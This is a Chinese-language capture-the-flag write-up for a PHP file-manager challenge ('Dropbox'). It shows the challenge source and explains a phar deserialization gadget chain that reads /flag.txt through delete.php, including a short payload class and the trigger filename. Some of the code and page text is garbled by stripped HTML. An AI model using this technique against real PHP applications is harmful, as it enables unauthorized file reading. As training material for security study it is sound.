php [CISCN2027 华北赛区 Day1 Web1]Dropbox - results[$file->
';
$table .= '
';
foreach ($this->funcs as $func) {
$table .= '
';
}
$table .= '
';
$table .= '
';
foreach ($this->results as $filename => $result) {
$table .= '
';
foreach ($result as $func => $value) {
$table .= '
';
}
$table .= '
';
$table .= '
';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
download.php:
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
可以定义了很多类,那考点肯定就是序列化反序列化这里了。 审计代码,file_get_contents() 函数 $filename参数没有过滤,肯定是通过此得到flag。
定义的是 close 函数,我们看看哪里调用了这个close()
发现在 User类里的__destruct() 调用了 close()。寻找可以触发 __destruct的unserialize(). 没有。
这里就考到了phar反序列化:phar://伪协议,我们便不再需要unserialize(),phar的特性,他在解析phar文件时时会自动对里面的内容进行反序列化。 再有 前面只允许上传图片,phar可以解析png后缀,因此考点肯定是phar反序列化。
在 File类中的 open()方法,会给$this-filename = $filename. download.php和delete.php里存在 但是download.php会受到init_set("openbase_dir",) 的限制,因此只有delete.php可以触发phar反序列化。 里面的 $file->open()里的file_exists()函数 和 $file->delete()的unlink()函数会触发phar反序列化
下面开始找链子:
在File类中,close方法存在file_get_contents()函数,在User中,会调用改方法$this->db->close(),如果有回显的化,我们就可以直接构造如下payload:
class User {
public $db;
}
class File {
public $filename = "/flag.txt";
}
$a = new User();
$a->db = new File();
?>
生成对应的phar文件即可。
但是没有回显,那么我们就让$this->db = new FileList(),让它去调用close。然而当执行FileList->close()时,因为FileList类中没有close()这个方法所以会调用FileList->_call()从而遍历全文件找close()方法
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
看一下这个call函数,它会把close当成参数传入$func, $this->func()的结果会被赋值给 $this->results[$file->name()] 这个一维数组,即我们的file_get_contents('/flag.txt') ,构成了一个$this->results二维数组(也就是$this->results[文件名]['close']) 学过c语言 二维数组更好理解一点。 这个二维数组中的 $this->results['/flag.txt']['close'] 即为我们的flag
调用完__call(),$this->results二维数组赋值完之后。然后再调用 __destruct()函数 去输出我们的flag
public function __destruct() {
$table = '
' . htmlentities($func) . '
Opt
' . htmlentities($value) . '
下载/删除
';
$table .= '
';
foreach ($this->funcs as $func) {
$table .= '
';
}
$table .= '
';
$table .= '
';
foreach ($this->results as $filename => $result) {
$table .= '
';
foreach ($result as $func => $value) {
$table .= '
';
}
$table .= '
';
$table .= '
';
}
echo $table;
}
foreach ($this->results as $filename => $result) 每次把每个一级数组的值,传递给$result,即$this-results[filename][]
foreach ($result as $func => $value) 每次把每个二级数组的值,传递给$value
最终echo $table 打印出来全部数据
链子:
User->_destruct => FileList->close() => FileList->_call('close') => File->close('/flag.txt') => $results=file_get_contents('flag.txt') => FileList->_destruct() => echo $result
poc.php
注:download.php文件中 open_basedir 限制了当前程序可以访问的目录
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
因此我们只能用 delete.php 去触发phar反序列化
生成的phar文件后缀为png上传,
传入 filename=phar://a.png 拼多多帮助力入口
成功$value带出来,把flag回显出来了 得到flag
返回顶部暗黑模式
' . htmlentities($func) . '
Opt
' . htmlentities($value) . '
下载/删除